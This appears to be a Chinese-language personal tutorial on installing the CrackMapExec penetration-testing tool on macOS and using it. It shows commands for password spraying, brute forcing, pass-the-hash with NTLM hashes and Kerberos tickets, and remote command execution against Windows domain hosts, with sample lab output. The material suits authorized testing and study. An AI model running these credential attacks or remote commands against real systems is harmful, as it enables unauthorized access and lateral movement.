下载地址:https://github.com/Porchetta-Industries/CrackMapExec
wiki:https://www.crackmapexec.wiki/
1.安装(MAC)
1.1.python3.9 pipx 安装(运行软件有警告,推荐 python3.11 pipx 安装)
1、安装过程。(最好挂着梯子装)
https://www.crackmapexec.wiki/getting-started/installation/installation-on-unix
#~ python3 -m pip install pipx
#~ git clone https://github.com/mpgn/CrackMapExec
#~ cd CrackMapExec
#~ pipx install .
2、报警告信息。
提示没有 rust,先装个 rust 试试。
brew install rust
3、重新安装,成功。
1.2.python3.11 pipx 安装
1、告警信息。
/Users/xx/.local/pipx/venvs/crackmapexec/lib/python3.9/site-packages/urllib3/__init__.py:34: NotOpenSSLWarning: urllib3 v2.0 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020
升级版本可解决
2、卸载 python3.9 pipx安装的 cme。
pipx uninstall crackmapexec
3、重新使用 python3.11 安装。
python3.11 -m pipx install .
安装成功。
运行未提示告警。
python3.11 -m pipx list
查看,没问题。
2.使用教程
2.1.入门
2.1.1选择和使用协议
使用协议
使用特定协议运行
cme <protocol> <protocol options>
查看可用协议
运行cme --help将列出可用的常规选项和协议(请注意下面的“协议”部分):
#~ cme --help
usage: cme [-h] [-v] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL]
[--darrell] [--verbose]
2.1.2.目标格式
每个协议都通过 CIDR 表示法、IP 地址、IP 范围、主机名、包含目标列表的文件或所有后者的组合来支持目标:
crackmapexec <protocol> poudlard.wizard
crackmapexec <protocol> 192.168.1.0 192.168.0.2
crackmapexec <protocol> 192.168.1.0/24
crackmapexec <protocol> 192.168.1.0-28 10.0.0.1-67
crackmapexec <protocol> ~/targets.txt
2.1.3.使用凭证
https://www.crackmapexec.wiki/getting-started/using-credentials
2.1.3.1.使用凭证
每个协议都支持以一种或另一种形式使用凭证。有关通过特定协议使用凭据的详细信息,请参阅相应的 wiki 部分。
1、一般来说,要使用凭据,您可以运行以下命令:
crackmapexec <protocol> <target(s)> -u username -p password
2、当使用包含特殊符号的用户名或密码时,请将它们用单引号引起来,以使 shell 将它们解释为字符串。
crackmapexec <protocol> <target(s)> -u username -p 'October2022'
3、由于Python 参数解析库中的错误,以破折号 ( - ) 开头的凭据将引发错误消息。要解决此问题,请使用“长”参数格式指定凭据(注意符号):-expected at least one argument=
crackmapexec <protocol> <target(s)> -u='-username' -p='-October2022'
报错:
解决:
2.1.3.2.多域环境
您可以在多域环境中使用 CME
crackmapexec <protocol> <target(s)> -p FILE -u password
其中FILE是具有这种格式的用户名的文件
DOMAIN1\user
DOMAIN2\user
2.1.3.3.暴力破解和密码喷射
所有协议都支持暴力破解和密码喷射。有关使用特定协议进行暴力破解/密码喷射的详细信息,请参阅相应的 wiki 部分。
通过指定一个文件或多个值,CME 将自动使用指定协议对所有目标进行暴力登录:
例子:
crackmapexec <protocol> <target(s)> -u username1 -p password1 password2
crackmapexec <protocol> <target(s)> -u username1 username2 -p password1
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes
2.1.3.4.无需暴力破解的密码喷射(个人理解为为多个账密认证时场景。)
对于 WinRM 和 MSSQL 等协议非常有用。此选项可以避免使用文件时的暴力破解(-u file -p file)
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords --no-bruteforce
user1 -> pass1
user2 -> pass2
默认情况下,CME 会在发现成功登录后退出。即使找到有效密码后,使用 --continue-on-success 标志也会继续喷射。对于针对大型用户列表喷射单个密码非常有用。
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes --no-bruteforce --continue-on-success
2.1.4.使用 Kerberos
CME 确实支持 Kerberos 身份验证,有两种选择,直接使用密码/哈希或使用票证并使用环境KRB5CCNAME名称指定票证。
使用选项-k or–use-kcache 时,您需要指定与 kerberos 票证中的主机名相同的主机名 (FQDN)
$ sudo cme smb zoro.gold.local -k -u bonclay -p Ocotober2022
SMB zoro.gold.local 445 ZORO [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB zoro.gold.local 445 ZORO [+] gold.local\bonclay
或者,使用–use-kcache,这里可以看到管理员票据可以执行命令,其他票据执行命令失败。
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache
$ cme smb zoro.gold.local --use-kcache
SMB zoro.gold.local 445 ZORO [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB zoro.gold.local 445 ZORO [+] gold.local\administrator (Pwn3d!)
$ sudo cme smb zoro.gold.local --use-kcache -x whoami
SMB zoro.gold.local 445 ZORO [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB zoro.gold.local 445 ZORO [+] gold.local\administrator (Pwn3d!)
SMB zoro.gold.local 445 ZORO [+] Executed command
SMB zoro.gold.local 445 ZORO gold\administrator
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ sudo cme smb zoro.gold.local --use-kcache -x whoami
SMB zoro.gold.local 445 ZORO [*] Windows 10.0 Build 14393 (name:ZORO) (domain:gold.local) (signing:False) (SMBv1:False)
SMB zoro.gold.local 445 ZORO [+] gold.local\bonclay
LDAP 和选项示例–kdcHost
poetry run crackmapexec ldap poudlard.wizard -k --kdcHost dc01.poudlard.wizard
SMB poudlard.wizard 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:poudlard.wizard) (signing:True) (SMBv1:False)
LDAP poudlard.wizard 389 DC01 [+] poudlard.wizard\
3.其他
对于有""的命令需要使用-x='命令’来执行。
cme smb 10.7.100.201 -u 'administrator' -H b30609be06b26c5sdfsd12b142f9ca -x='net group "domain admins" /domain'
cme smb 192.168.xx -u 'xxx' -H 933fa1d9c956a189f -x='ipconfig'